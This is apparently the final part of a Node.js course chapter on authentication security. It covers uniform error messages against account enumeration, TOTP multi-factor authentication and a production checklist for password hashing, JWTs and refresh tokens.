Production authentication endpoints are subjected to continuous automated dictionary attacks and credential stuffing.

1. Defending Against Account Enumeration

If an attacker enters an email on your login or password reset endpoint, how does your backend respond?

  • ❌ Insecure: 400 Bad Request: "User with this email does not exist." (The attacker now knows this person has an account on your platform!)
  • ❌ Insecure: 400 Bad Request: "Incorrect password." (Confirms the email is valid, allowing targeted dictionary cracking!)
  • ✅ Secure: Always return a uniform error message:
    JSON
    {
      "success": false,
      "message": "Invalid email or password."
    }
    

Password Reset Endpoints:

When a user requests a password reset, always respond with:

"If an account matching that email exists, we have sent a password reset link."

Never reveal whether the email exists in your database.


2. Multi-Factor Authentication (MFA / TOTP RFC 6238)

For sensitive applications, passwords alone are insufficient. Time-Based One-Time Passwords (TOTP - RFC 6238) provide a standardized second factor:

  • The server and the user's authenticator app (e.g. Google Authenticator, 1Password) share a secret key.
  • Both parties compute:
    TEXT
    Counter = Math.floor(Current_UNIX_Time / 30)
    
  • The counter is hashed with HMAC-SHA-1 using the shared secret and truncated into a 6-digit number.
  • Codes automatically rotate every 30 seconds without requiring SMS or external network dependencies.

Quick Reference: Production Auth Security Checklist

TEXT
Production Authentication & Authorization Checklist:
□ Passwords hashed with Argon2id (m=19MiB, t=2, p=1) or bcrypt (cost >= 12).
□ If using bcrypt, passwords pre-hashed with SHA-256 to prevent 72-byte truncation.
□ Plain text comparison avoids === for secrets; uses crypto.timingSafeEqual.
□ Access tokens short-lived (5–15 minutes); Refresh tokens long-lived (7–30 days).
□ Microservices use Asymmetric signing (RS256/ES256) with public keys distributed via JWKS.
□ JWT verification explicitly enforces allowed algorithms; rejects 'alg: "none"'.
□ Standard claims verified: iss (issuer), aud (audience), exp (expiration with 30s leeway).
□ No sensitive PII stored in unencrypted JWT payloads.
□ Refresh tokens rotated on every use with family tracking (RTR) and reuse detection.
□ Refresh tokens hashed (SHA-256) before database storage.
□ Short grace period (15–30s) enabled for mobile network refresh token retries.
□ Refresh token cookie configured with HttpOnly, Secure, SameSite=Lax, and Path=/api/v1/auth/refresh.
□ Logout clears client cookie AND deletes/revokes the refresh token record in the database.
□ Authentication (401) strictly separated from Authorization (403).
□ Access control implemented via granular Permissions rather than hardcoded role strings.
□ Resource mutation endpoints enforce ownership checks (ABAC).
□ Login endpoints protected by rate limiting and uniform error messages (prevents enumeration).

Summary & What Comes Next

You now possess a complete, enterprise-grade security architecture:

  1. Cryptographic Rigor: Benchmarked memory-hard hashing with Argon2id and timing-safe evaluation.
  2. Dual-Token System: High-performance stateless access tokens paired with secure stateful refresh token rotation and breach detection.
  3. Defense in Depth: Scoped httpOnly cookies, XSS/CSRF mitigation, and asymmetric key distribution via JWKS.
  4. Decoupled Access Control: Policy Enforcement Points separating 401 Identity verification from 403 Permission and Resource Ownership evaluation.

With our databases fully modeled and our API security perimeter established, in the next chapter we master data throughput in the Node.js runtime: Chapter 14: Streams & Buffers: How Node.js Handles Massive Data Without Running Out of Memory.

Finished this lesson?

Mark this chapter complete to update your learning streak and unlock the next lesson.